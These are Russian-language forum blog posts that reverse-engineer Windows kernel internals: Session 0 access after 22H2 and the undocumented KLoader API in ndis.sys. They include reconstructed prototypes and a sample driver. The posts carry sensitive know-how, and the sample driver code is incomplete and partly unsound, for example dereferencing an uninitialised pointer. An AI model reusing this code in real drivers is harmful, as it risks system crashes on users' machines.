Форум программистов и сисадминов Киберфорум - Блоги - _lunar_

Доступ к терминальной сессии (Session 0) после обновления 22H2

_lunar_ — Wed, 08 Feb 2023 09:40:27 GMT

Дополнительная информация и аттач для скачивания тут

Давно я ничего не писал в блоге, да и ценности в жизни меняются - занимаюсь кодингом всё меньше и меньше, но окончательно бросить всё же не могу (после стольких лет моего увлечения программированием).
А сподвигло меня на новый анализ ядра ОС не так давно выпущенное обновление Windows версии 22H2 (для 10 и 11 версий ОС).

В своём проекте Kernel Explorer я занимался организацией бесплатного доступа к терминальной сессии - и мне это удалось.
Я спроектировал сервис UI0Detect (подобный сервису в Windows Vista, 7, 8, 10 до билда 1709, а с 1803 этот сервис был жестко вырезан майкрософтом).
В конечном итоге принял решение о публикации исходного кода проекта Kernel Explorer на сервисе GutHub (принадлежащего MS). Но оставил исходный код службы UI0Detect закрытым и не стал выкладывать сурки в паблик.
Думаю в Microsoft покопались в исходном коде моего проекта и немного прифигели от того, что я спокойно предоставил пользователям доступ туда, куда они его запретили начиная с Windows 10 1803.
Поэтому в версии ядра 22H2 было внесено много чего нового. Эти изменения естественно "неожиданным" образом коснулись и Kernel Explorer и драйвера от ребят из FireDaemon, предоставляющего возможность работать в терминальной сессии мышкой и клавиатурой. Но как ни странно изменения не коснулись сервиса UI0Detect, сурки которого я не выкладывал (совпадение?). Мой сервис UI0Detect как работал, так и работает.
В последствии от FireDaemon было выпущено предупреждение

Если будет использоваться драйвер FireDaemon ZeroInput в Windows 11 22H2 вы получите цикличный BSOD.
Поэтому не применяйте и не развертывайте этот драйвер в Windows 11 22H2!!!

Соответственно и функционал Kernel Explorer, отвечающий за терминальную сессию работал с ошибками.
Вносить изменения мне очень не хотелось про причинам, описанным в самом начале этого блога. Да и развертывать студию я не хотел.
Какое-то время назад я работал в IDE под названием Pelles C - чистый Си, есть отладчик, редактор ресурсов и всё что нужно для написания программы.
Да она кажется устаревшей в плане интерфейса, отсутствия нормальной подсветки синтаксиса и умной подстановки впечатываемых слов, в общем всем тем, к чему привыкли юзеры VS.

Решил немного освежить в памяти работу с этой IDE. И в итоге написал Kernel Explorer второй версии в облегчённом виде

На данный момент инструмент проходит тестирование, и как только доработаю оставшийся функционал, выложу для паблика.

Но написать программу это одно, а вот чтобы она работала в новой версии Windows это уже другой вопрос.
Пришлось изучить изменения в ядре ОС. И вот что обнаружилось.
Главным изменением в принципе перехода в терминальную сессию стало то, что основным рабочим столом стал Winlogon (заместо рабочего стола Default).
В этом и проблема. В предыдущих блогах я уже упоминал о том, что рабочий стол Winlogon лишен практически всех функций

На данном Рабочем столе Winlogon отключено практически всё:
- не работает механизм переключения между Рабочими столами (SwitchDesktop) ни при каких правах (будь то даже система)
- не работает функционал быстрого скриншота PrintScreen и самого копирования (в буфер обмена не передаются данные, хотя у Рабочего стола Disconnect с этим всё в порядке)
- очень странно себя ведут некоторые оконные программы (здесь стоит сделать акцент на то, что этот стол изначально не предназначался для GUI)
И ещё много всякой мелочи, которая усложняет анализ происходящего.

Иначе говоря, при переходе в Session 0 мы попадаем не на Default, а на Winlogon. С этими же изменениями и связана проблема драйвера FireDaemon ZeroInput.
Запихиваем этот драйвер в дизассемблер и видим вот такую картину

Драйвер ребят из FireDaemon просто жестко завязан на рабочий стол Default, отсюда и проблемы совместимости с 22H2 и цикличный BSOD.
Позже может быть напишу им в саппорт и объясню как решить проблему.

Но вернёмся к моему новому проекту. На данный момент я спокойно осуществляю переход в терминальную сессию, создаю там процессы и они отображаются и работают вполне корректно.
Но есть проблема с выходом обратно в пользовательскую сессию. Т.к. драйвер клавиатуры и мыши не работает, приходится просто смотреть на выполнение программ, которые я тестирую и делать жесткий ресет компа.

Разбираемся в новом API KLoader. Часть 2: Deep Internal Research

_lunar_ — Fri, 03 Jun 2022 22:55:35 GMT

Разбираемся в новом API KLoader. Часть 1: Общие сведения

Из первой части исследования стало известно, что в реестре Windows 11 есть раздел, который не доступен с правами администратора.
И чтобы узнать что в нём находится пришлось повысить права реестра до уровня СИСТЕМА.
Следовательно, такими мощными правами обладает собственно сама система (ОС) и драйверы уровня ядра.
Первое что потребуется сделать - определить какой драйвер вызывает этот ключ реестра и попытаться найти в глубинах его кода нужные данные.
Этот вызов содержит драйвер ndis.sys

Посмотрим на функцию KLoaderReferenceModule

В современном программировании преобладают такие методы написания кода, как шаблоны, структуры и конечно же классы.
Даже не смотря на то, что это драйвер и здесь по логике должен превалировать классический Си.
Как видно имеется класс KLoader. Начал реверсить драйвер ndis.sys в части KLoader API.
Ссылка на репозиторий GitHub KLoader API

У этого класса есть функция-член ReferenceModule, которая принимает два аргумента a1 и v2 (первый a1 это просто this класса).
a1 - это структура KLOADER_REFERENCE_MODULE_CONFIG
v2 - это дескриптор KLOADER_MODULE_REFERENCE
Запомним это, т.к. дальнейшее углубление в дебри этого класса потребует сопоставления данных.

Перейдём в функцию ReferenceModule

У класса KLoader есть ещё одна функция-член, но уже с индексом К (что намекает на исследуемую api) ReferenceKModule.
Разберёмся с аргументами функции:
qword_1C00EC190 - как я уже и говорил это всего лишь this: KLoader * и его учитывать не нужно
v16 - это внутренняя структура с именем класса KLockHolder (придираться к IDA не станем, правильное имя этой структуры я назову чуть позже)
v17 - это декларируемый дескриптор

C++
1
#define DECLARE_HANDLE(name) struct name##__{int unused;}; typedef struct name##__ *name

struct KModule *v17 и есть дескриптор KLOADER_MODULE_REFERENCE
(опять же не стоит придираться к IDA, дизассемблер итак делает много работы и полный автоматизм просто невозможен)

C++
1
2
DECLARE_HANDLE(KLOADER_MODULE_REFERENCE);
typedef KLOADER_MODULE_REFERENCE* PKLOADER_MODULE_REFERENCE;

Опустимся ещё глубже - в функцию ReferenceKModule

Во-первых обратите внимание на этот код

C++
1
2
3
4
5
KLockHolder v13{};
v13.m_State = Unlocked;
v13.m_Lock = (KPushLockBase *)this;
v13.m_Region.m_Entered = 0;
AcquireExclusive(&v13);

Теперь стали известны члены структуры KLockHolder. Но прежде чем продолжить нужно разобраться с понятийным блоком.
KLockHolder, как я уже говорил, это неправильное имя структуры. Правильное - KLOADER_REFERENCE_MODULE_CONFIG и вот её прототип

C++
1
2
3
4
5
typedef struct _KLOADER_REFERENCE_MODULE_CONFIG {
    KLOCK_HOLDER State;
    PKPUSH_LOCK Lock;
    KCRITICAL_REGION Region;
} KLOADER_REFERENCE_MODULE_CONFIG, * PKLOADER_REFERENCE_MODULE_CONFIG;

Я опущу некоторые моменты исследования, т.к. это скучная рутинная работа, и чтобы не забивать этой информацией блог сразу приведу прототипы членов структуры

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
typedef enum _KLOCK_HOLDER {
    Unlocked = 0,
    Shared = 1,
    Exclusive = 2
} KLOCK_HOLDER, * PKLOCK_HOLDER;
 
typedef struct _KPUSH_LOCK {
    EX_PUSH_LOCK ExPushLock; // or EX_PUSH_LOCK from ntos.h
} KPUSH_LOCK, * PKPUSH_LOCK;
 
typedef struct _KCRITICAL_REGION {
    BOOLEAN Entered;
} KCRITICAL_REGION, * PKCRITICAL_REGION;
 
 
class KPushLockManualConstruct {
public:
    void Initialize(void);
};
 
 
KLOADER_REFERENCE_MODULE_CONFIG KModuleConfig{};
 
KModuleConfig.State = Unlocked;
KModuleConfig.Lock = (PKPUSH_LOCK)&KPushLockManualConstruct;
KModuleConfig.Region.Entered = FALSE;

KLOADER_REFERENCE_MODULE_CONFIG это основная структура, которая передаётся функции KLoaderReferenceModule.
В свою очередь функция KLoaderReferenceModule, после обработки данных из структуры, возвращает дескриптор KLOADER_MODULE_REFERENCE.

Затем вызывается внутренняя функция AcquireExclusive. Обратите внимание на её имя и на перечисление KLOCK_HOLDER -> Exclusive = 2
Я составил прототип этой функции и функции для Shared = 1 (хотя Shared применяется для самого ndis, а не для KLoader)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include 
 
void AcquireExclusive(PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig)
{
    PKPUSH_LOCK Lock{};
 
    KeEnterCriticalRegion();
    Lock = pKModuleConfig->Lock;
    pKModuleConfig->Region.Entered = TRUE;
    ExAcquirePushLockExclusiveEx(&Lock->ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS);
    pKModuleConfig->State = Exclusive;
}
 
void AcquireShared(PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig)
{
    PKPUSH_LOCK Lock{};
 
    KeEnterCriticalRegion();
    Lock = pKModuleConfig->Lock;
    pKModuleConfig->Region.Entered = TRUE;
    ExAcquirePushLockSharedEx(&Lock->ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS);
    pKModuleConfig->State = Shared;
}
 
void ReleaseExclusive(PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig)
{
    ExReleasePushLockExclusiveEx(&pKModuleConfig->Lock->ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS);
    pKModuleConfig->State = Unlocked;
    pKModuleConfig->Region.Entered = FALSE;
    KeLeaveCriticalRegion();
}
 
void ReleaseShared(PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig)
{
    ExReleasePushLockSharedEx(&pKModuleConfig->Lock->ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS);
    pKModuleConfig->State = Unlocked;
    pKModuleConfig->Region.Entered = FALSE;
    KeLeaveCriticalRegion();
}

В двух словах, что здесь происходит:
сперва инициализируется структура KLOADER_REFERENCE_MODULE_CONFIG с разблокированной памятью - Unlocked
затем вызывается функция AcquireExclusive, где происходит следующая магия:
ядро переходит в защищенный регион - KeEnterCriticalRegion
вход в память Region.Entered меняется с FALSE на TRUE
далее инициализируется EX_PUSH_LOCK через процедуру ExAcquirePushLockExclusiveEx

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _EX_PUSH_LOCK {
    union {
        struct {
            ULONG_PTR Locked : 1;
            ULONG_PTR Waiting : 1;
            ULONG_PTR Waking : 1;
            ULONG_PTR MultipleShared : 1;
            ULONG_PTR Shared : sizeof(ULONG_PTR) * 8 - 4;
        } s1;
        ULONG_PTR Value;
        PVOID Ptr;
    };
} EX_PUSH_LOCK, * PEX_PUSH_LOCK;

и регион памяти меняется на pKModuleConfig->State = Exclusive
Функция ReleaseExclusive возвращает всё на свои места и ядро выходит из защищенной области памяти через KeLeaveCriticalRegion.

Теперь перейдём к функции CreateKModule

Интерес в ней вызывает функция GetModuleServiceName, которая по сути получает имя сервиса, запускаемого через API KLoader.
Аргументом функции служит a1 - это структура GUID, которая является именем раздела KLoader 9C0B898D-6275-48EC-81B4-E5EDBE44B535 (см. первую часть).

Ну чтож, вот и финишная функция, которую мы искали :) круг замкнулся

Вот кто запускает драйвер ExecutionContext.sys через имя, указанное в реестре, открывая оный с помощью ядерной функции ZwOpenKey с соответствующими правами СИСТЕМЫ.
Ещё раз покажу раздел реестра, чтобы картинка полностью сложилась

Осталось выложить исходный код API KLoader (конечно же он неполный, и по мере возможности я буду его дополнять).

Файл KLoaderDef.h

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#ifndef _KLOADERDEF_H_
#define _KLOADERDEF_H_
#pragma once
 
#include 
 
 
#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM                  (L"SharedMemoryAllocationDurationHistogram");
#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_AUTO_RESET       (L"SharedMemoryAllocationDurationHistogramAutoReset");
#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_MAX_HISTOGRAMS   (L"SharedMemoryAllocationDurationHistogramMaxHistograms");
#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_START            (L"SharedMemoryAllocationDurationHistogramStart");
#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_NUM_INTERVALS    (L"SharedMemoryAllocationDurationHistogramNumIntervals");
#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_INTERVAL_LENGTH  (L"SharedMemoryAllocationDurationHistogramIntervalLength");
 
 
DECLARE_HANDLE(KLOADER_MODULE_REFERENCE);
typedef KLOADER_MODULE_REFERENCE* PKLOADER_MODULE_REFERENCE;
 
 
typedef enum _PAUSE_OR_RESTART {
    DatapathPaused = 0,
    DatapathRunning = 1
} PAUSE_OR_RESTART, * PPAUSE_OR_RESTART;
 
typedef enum _EXECUTION_CONTEXT_FLAGS {
    ExecutionContextFlagNone = 0,
    ExecutionContextFlagRunDpcForFirstLoop = 1,
    ExecutionContextFlagRunWorkerThreadAtDispatch = 2,
    ExecutionContextFlagTryExtendMaxTimeAtDispatch = 4
} EXECUTION_CONTEXT_FLAGS, * PEXECUTION_CONTEXT_FLAGS;
 
typedef enum _CONFIG_KNOB_NAMESPACE_TYPE {
    ConfigKnobNamespaceNdisGlobal = 0,
    ConfigKnobNamespaceNetworkInterface = 1,
    ConfigKnobNamespaceExecutionContext = 2
} CONFIG_KNOB_NAMESPACE_TYPE, * PCONFIG_KNOB_NAMESPACE_TYPE;
 
typedef enum _KLOCK_HOLDER {
    Unlocked = 0,
    Shared = 1,
    Exclusive = 2
} KLOCK_HOLDER, * PKLOCK_HOLDER;
 
typedef enum _CONFIG_KNOB_FLAG {
    OnlyUpdateOnceAtBoot = 0,
    Uint32Datatype = 0,
    BooleanDatatype = 2,
    Uint64Datatype = 4,
    AllowDynamicUpdate = 32,
    MustBePowerOfTwo = 64
} CONFIG_KNOB_FLAG, * PCONFIG_KNOB_FLAG;
 
 
typedef struct _CONFIG_KNOB_NAMESPACE {
    CONFIG_KNOB_NAMESPACE_TYPE NamespaceType;
    GUID ObjectId;
} CONFIG_KNOB_NAMESPACE, * PCONFIG_KNOB_NAMESPACE;
 
typedef struct _EXECUTION_CONTEXT_WORK_UNIT_KNOBS {
    ULONG AtPassive;
    ULONG AtDispatch;
} EXECUTION_CONTEXT_WORK_UNIT_KNOBS, * PEXECUTION_CONTEXT_WORK_UNIT_KNOBS;
 
typedef struct _EXECUTION_CONTEXT_RUNTIME_KNOBS {
    ULONG Size;
    EXECUTION_CONTEXT_FLAGS Flags;
    ULONG MaxTimeAtDispatch;
    ULONG DispatchTimeWarning;
    ULONG DispatchTimeWarningInterval;
    ULONG DpcWatchdogTimerThreshold;
    ULONG WorkerThreadPriority;
    EXECUTION_CONTEXT_WORK_UNIT_KNOBS MaxPacketsSend;
    EXECUTION_CONTEXT_WORK_UNIT_KNOBS MaxPacketsSendComplete;
    EXECUTION_CONTEXT_WORK_UNIT_KNOBS MaxPacketsReceive;
    EXECUTION_CONTEXT_WORK_UNIT_KNOBS MaxPacketsReceiveComplete;
} EXECUTION_CONTEXT_RUNTIME_KNOBS, * PEXECUTION_CONTEXT_RUNTIME_KNOBS;
 
typedef struct _KREG_KEY {
    PVOID ptr;
} KREG_KEY, * PKREG_KEY;
 
typedef struct _KARRAY {
    ULONG bufferSize;
    ULONG numElements;
    PVOID _p;
} KARRAY, * PKARRAY;
 
typedef struct _KCRITICAL_REGION {
    BOOLEAN Entered;
} KCRITICAL_REGION, * PKCRITICAL_REGION;
 
typedef struct _BIND_STATE {
    PVOID Miniport;
    BOOLEAN AllowBindDespiteMandatory;
    BOOLEAN PretendBindingActive;
    BOOLEAN NeedsPauseAction;
    PVOID AdditionalContext;
    ULONG LastErrorCode;
    ULONG bindSources;
    ULONG unbindReasons;
    ULONG pauseReasons;
    PAUSE_OR_RESTART actualPauseState;
    KARRAY bindContext;
} BIND_STATE, * PBIND_STATE;
 
typedef struct _KSPIN_LOCK_2 {
    KARRAY Protocols;
    KARRAY Filters;
    BIND_STATE Miniport;
    ULONG ChangeEpoch;
} KSPIN_LOCK_2, * PKSPIN_LOCK_2;
 
typedef struct _KACQUIRE_SPIN_LOCK {
    KIRQL oldIrql;
    KSPIN_LOCK_2 lock;  // or KSPIN_LOCK from ntddk.h
} KACQUIRE_SPIN_LOCK, * PKACQUIRE_SPIN_LOCK;
 
typedef struct _KPUSH_LOCK {
    EX_PUSH_LOCK ExPushLock; // or EX_PUSH_LOCK from ntos.h
} KPUSH_LOCK, * PKPUSH_LOCK;
 
typedef struct _KNOB_DESCRIPTOR {
    LPCTSTR Name;   // SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_
    PVOID Value;
    ULONG_PTR DefaultValue;
    CONFIG_KNOB_FLAG Flags;
    ULONG_PTR MinimumValue;
    ULONG_PTR MaximumValue;
} KNOB_DESCRIPTOR, * PKNOB_DESCRIPTOR;
 
 
typedef struct _KLOADER_MODULE_CHARACTERISTICS {
    DRIVER_OBJECT driverObject;
    CONFIG_KNOB_NAMESPACE id;
    LIST_ENTRY globalLinkage;
    LIST_ENTRY collectionList;
    KPUSH_LOCK lock;
} KLOADER_MODULE_CHARACTERISTICS, * PKLOADER_MODULE_CHARACTERISTICS;
 
typedef struct _KLOADER_REFERENCE_MODULE_CONFIG {
    KLOCK_HOLDER State;
    PKPUSH_LOCK Lock;
    KCRITICAL_REGION Region;
} KLOADER_REFERENCE_MODULE_CONFIG, * PKLOADER_REFERENCE_MODULE_CONFIG;
 
 
class KPushLockManualConstruct {
public:
    void Initialize(void);
};
 
void AcquireExclusive(PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig)
{
    PKPUSH_LOCK Lock{};
 
    KeEnterCriticalRegion();
    Lock = pKModuleConfig->Lock;
    pKModuleConfig->Region.Entered = TRUE;
    ExAcquirePushLockExclusiveEx(&Lock->ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS);
    pKModuleConfig->State = Exclusive;
}
 
void AcquireShared(PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig)
{
    PKPUSH_LOCK Lock{};
 
    KeEnterCriticalRegion();
    Lock = pKModuleConfig->Lock;
    pKModuleConfig->Region.Entered = TRUE;
    ExAcquirePushLockSharedEx(&Lock->ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS);
    pKModuleConfig->State = Shared;
}
 
void ReleaseExclusive(PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig)
{
    ExReleasePushLockExclusiveEx(&pKModuleConfig->Lock->ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS);
    pKModuleConfig->State = Unlocked;
    pKModuleConfig->Region.Entered = FALSE;
    KeLeaveCriticalRegion();
}
 
void ReleaseShared(PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig)
{
    ExReleasePushLockSharedEx(&pKModuleConfig->Lock->ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS);
    pKModuleConfig->State = Unlocked;
    pKModuleConfig->Region.Entered = FALSE;
    KeLeaveCriticalRegion();
}
 
 
_IRQL_requires_max_(PASSIVE_LEVEL)
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderRegisterModule(
    _In_ PDRIVER_OBJECT pDriverObject,
    _In_ PUNICODE_STRING pRegistryPath,
    _In_opt_ PVOID arg3,
    _In_ PKLOADER_MODULE_CHARACTERISTICS pKModuleCharacts);
 
_IRQL_requires_max_(PASSIVE_LEVEL)
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderReferenceModule(
    _In_ PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig,
    _Out_ PKLOADER_MODULE_REFERENCE* ppKModule);
 
_IRQL_requires_max_(PASSIVE_LEVEL)
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderDereferenceModule(
    _In_ PKLOADER_MODULE_REFERENCE pKModule);
 
#endif // _KLOADERDEF_H_

Файл Source.cpp

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include "KLoaderDef.h"
 
 
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath)
{
    NTSTATUS Status = NULL, ModuleDevice = NULL;
    PKLOADER_MODULE_REFERENCE pKModule = nullptr;
    KLOADER_REFERENCE_MODULE_CONFIG KModuleConfig{};
 
    KModuleConfig.State = Unlocked;
    KModuleConfig.Lock = (PKPUSH_LOCK)&KPushLockManualConstruct;
    KModuleConfig.Region.Entered = FALSE;
 
    AcquireExclusive(&KModuleConfig);
    Status = KLoaderReferenceModule(&KModuleConfig, &pKModule);
    ReleaseExclusive(&KModuleConfig);
 
    //=========================================================================================
 
    UNICODE_STRING DestinationString{};
    KLOADER_MODULE_CHARACTERISTICS KModuleCharacts{};
 
    KModuleCharacts.id.NamespaceType = ConfigKnobNamespaceExecutionContext;
    
    RtlInitUnicodeString(&DestinationString, L"WmiTraceMessage");
    KModuleCharacts.driverObject.DeviceObject->Queue.Wcb.DeviceObject =
        MmGetSystemRoutineAddress(&DestinationString);
 
    KModuleConfig.State = Unlocked;
    KModuleConfig.Lock = (PKPUSH_LOCK)&KPushLockManualConstruct;
    KModuleConfig.Region.Entered = FALSE;
 
    AcquireExclusive(&KModuleConfig);
    ModuleDevice = KLoaderRegisterModule(DriverObject, RegistryPath, nullptr, &KModuleCharacts);
    ReleaseExclusive(&KModuleConfig);
 
    //=========================================================================================
 
    KModuleConfig.State = Unlocked;
    KModuleConfig.Lock = (PKPUSH_LOCK)&KPushLockManualConstruct;
    KModuleConfig.Region.Entered = FALSE;
 
    AcquireExclusive(&KModuleConfig);
    Status = KLoaderDereferenceModule(pKModule);
    ReleaseExclusive(&KModuleConfig);
 
    return 0;
}

Небольшой бонус по тегам пула памяти :)

C++
1
2
3
PoolWithTag = ExAllocatePoolWithTag(PagedPool, 0x20, 0x62694C4E);
 
ExFreePoolWithTag(v24, 0x7274534B);

Идём на MSDN ExAllocatePoolWithTag и смотрим как определяется тег

The pool tag to use for the allocated memory. Specify the pool tag as a non-zero character literal of one to to four characters delimited by single quotation marks (for example, 'Tag1'). The string is usually specified in reverse order (for example, '1gaT'). Each ASCII character in the tag must be a value in the range 0x20 (space) to 0x7E (tilde). Each allocation code path should use a unique pool tag to help debuggers and verifiers identify the code path.

Берём таблицу символов ASCII

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Char  Dec  Oct  Hex | Char  Dec  Oct  Hex | Char  Dec  Oct  Hex | Char Dec  Oct   Hex
-------------------------------------------------------------------------------------
(nul)   0 0000 0x00 | (sp)   32 0040 0x20 | @      64 0100 0x40 | `      96 0140 0x60
(soh)   1 0001 0x01 | !      33 0041 0x21 | A      65 0101 0x41 | a      97 0141 0x61
(stx)   2 0002 0x02 | "      34 0042 0x22 | B      66 0102 0x42 | b      98 0142 0x62
(etx)   3 0003 0x03 | #      35 0043 0x23 | C      67 0103 0x43 | c      99 0143 0x63
(eot)   4 0004 0x04 | $      36 0044 0x24 | D      68 0104 0x44 | d     100 0144 0x64
(enq)   5 0005 0x05 | %      37 0045 0x25 | E      69 0105 0x45 | e     101 0145 0x65
(ack)   6 0006 0x06 | &      38 0046 0x26 | F      70 0106 0x46 | f     102 0146 0x66
(bel)   7 0007 0x07 | '      39 0047 0x27 | G      71 0107 0x47 | g     103 0147 0x67
(bs)    8 0010 0x08 | (      40 0050 0x28 | H      72 0110 0x48 | h     104 0150 0x68
(ht)    9 0011 0x09 | )      41 0051 0x29 | I      73 0111 0x49 | i     105 0151 0x69
(nl)   10 0012 0x0a | *      42 0052 0x2a | J      74 0112 0x4a | j     106 0152 0x6a
(vt)   11 0013 0x0b | +      43 0053 0x2b | K      75 0113 0x4b | k     107 0153 0x6b
(np)   12 0014 0x0c | ,      44 0054 0x2c | L      76 0114 0x4c | l     108 0154 0x6c
(cr)   13 0015 0x0d | -      45 0055 0x2d | M      77 0115 0x4d | m     109 0155 0x6d
(so)   14 0016 0x0e | .      46 0056 0x2e | N      78 0116 0x4e | n     110 0156 0x6e
(si)   15 0017 0x0f | /      47 0057 0x2f | O      79 0117 0x4f | o     111 0157 0x6f
(dle)  16 0020 0x10 | 0      48 0060 0x30 | P      80 0120 0x50 | p     112 0160 0x70
(dc1)  17 0021 0x11 | 1      49 0061 0x31 | Q      81 0121 0x51 | q     113 0161 0x71
(dc2)  18 0022 0x12 | 2      50 0062 0x32 | R      82 0122 0x52 | r     114 0162 0x72
(dc3)  19 0023 0x13 | 3      51 0063 0x33 | S      83 0123 0x53 | s     115 0163 0x73
(dc4)  20 0024 0x14 | 4      52 0064 0x34 | T      84 0124 0x54 | t     116 0164 0x74
(nak)  21 0025 0x15 | 5      53 0065 0x35 | U      85 0125 0x55 | u     117 0165 0x75
(syn)  22 0026 0x16 | 6      54 0066 0x36 | V      86 0126 0x56 | v     118 0166 0x76
(etb)  23 0027 0x17 | 7      55 0067 0x37 | W      87 0127 0x57 | w     119 0167 0x77
(can)  24 0030 0x18 | 8      56 0070 0x38 | X      88 0130 0x58 | x     120 0170 0x78
(em)   25 0031 0x19 | 9      57 0071 0x39 | Y      89 0131 0x59 | y     121 0171 0x79
(sub)  26 0032 0x1a | :      58 0072 0x3a | Z      90 0132 0x5a | z     122 0172 0x7a
(esc)  27 0033 0x1b | ;      59 0073 0x3b | [      91 0133 0x5b | {     123 0173 0x7b
(fs)   28 0034 0x1c | <      60 0074 0x3c | \      92 0134 0x5c | |     124 0174 0x7c
(gs)   29 0035 0x1d | =      61 0075 0x3d | ]      93 0135 0x5d | }     125 0175 0x7d
(rs)   30 0036 0x1e | >      62 0076 0x3e | ^      94 0136 0x5e | ~     126 0176 0x7e
(us)   31 0037 0x1f | ?      63 0077 0x3f | _      95 0137 0x5f | (del) 127 0177 0x7f

и переводим значения 0x62694C4E и 0x7274534B по правилам, указанным в аннотации к функции ExAllocatePoolWithTag
0x62 = b
0x69 = i
0x4C = L
0x4E = N

0x72 = r
0x74 = t
0x53 = S
0x4B = K

biLN и rtSK читаем в обратном порядке и получаем NLib и KStr

Разбираемся в новом API KLoader. Часть 1: Общие сведения

_lunar_ — Tue, 24 May 2022 21:56:22 GMT

Во-первых, сразу уточню, что новый API доступен только в Windows 11. В более старых версиях ОС не ищите, его там нет.

Уже и не помню каким образом я наткнулся на ветку реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\KLoader
но результат запроса на открытие меня немного удивил

Отказано в доступе с учётом того, что Реестр по умолчанию открывается с правами администратора с соответствующим запросом UAC.

"Не на того напал" - подумал я и повысил права на Реестр до системного процесса через KernelExplorer

Посмотрев кому разрешён туда доступ снова был немного удивлён

Только TrustedInstaller имеет полный доступ к этой ветке Реестра, и даже СИСТЕМА ограничена на ReadOnly

Стало интересно что это за Kernel_Loader такой (KLoader видимо расшифровывается именно так).
В каталоге {9C0B898D-6275-48EC-81B4-E5EDBE44B535} есть только один строковый ключ с именем сервиса - ExecutionContext.
Находим этот сервис в KernelExplorer и смотрим что это такое

Информации немного: данный сервис лишь только взводит одноимённый драйвер ExecutionContext.sys
Примечательно, что драйвер не запускается вместе с системой (SERVICE_NEVER_STARTED), и никаких триггеров запуска тоже нет.
Есть только его SID S-1-5-80-3864825158-175547187-713465520-1238131867-1407735089

Идём дальше.
Берём драйвер ExecutionContext.sys и скармливаем его дизассемблеру IDA.
Переходим на точку входа DriverEntry и видимо вот такую красоту

Интерес здесь вызывают две функции - internal (внутренняя) функция WppLoadTracingSupport и импортируемая из драйвера ndis.sys KLoaderRegisterModule
Внутри WppLoadTracingSupport вызывается очень интересная процедура ядра ОС MmGetSystemRoutineAddress
Эту процедуру может экспортировать только ядро или HAL (в старых версиях Windows 10, когда HAL ещё не переехал в ядро).
Суть этой функции очень проста - она возвращает указатель на функции внутри ntoskrnl.exe (как GetProcAddress в юзермоде)

C++
1
2
3
4
5
6
7
8
9
10
11
UNICODE_STRING DestinationString;
DEVICE_OBJECT WPP_MAIN_CB;
 
RtlInitUnicodeString(&DestinationString, L"PsGetVersion");
WPP_MAIN_CB.Queue.Wcb.DeviceRoutine = (PDRIVER_CONTROL)MmGetSystemRoutineAddress(&DestinationString);
 
RtlInitUnicodeString(&DestinationString, L"WmiTraceMessage");
WPP_MAIN_CB.Queue.Wcb.DeviceObject = MmGetSystemRoutineAddress(&DestinationString);
 
RtlInitUnicodeString(&DestinationString, L"WmiQueryTraceInformation");
WPP_MAIN_CB.Queue.Wcb.CurrentIrp = MmGetSystemRoutineAddress(&DestinationString);

Но вернёмся к нашим "баранам".
Теперь есть понимание, что API KLoader находится в драйвере ndis.sys
Открываем его в дизассемблере IDA и видим, что программный интерфейс включает в себя три экспортируемые internal функции

и одну не экспортируемую

Я составил их прототипы

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
DECLARE_HANDLE(KLOADER_MODULE_REFERENCE);
typedef KLOADER_MODULE_REFERENCE* PKLOADER_MODULE_REFERENCE;
 
 
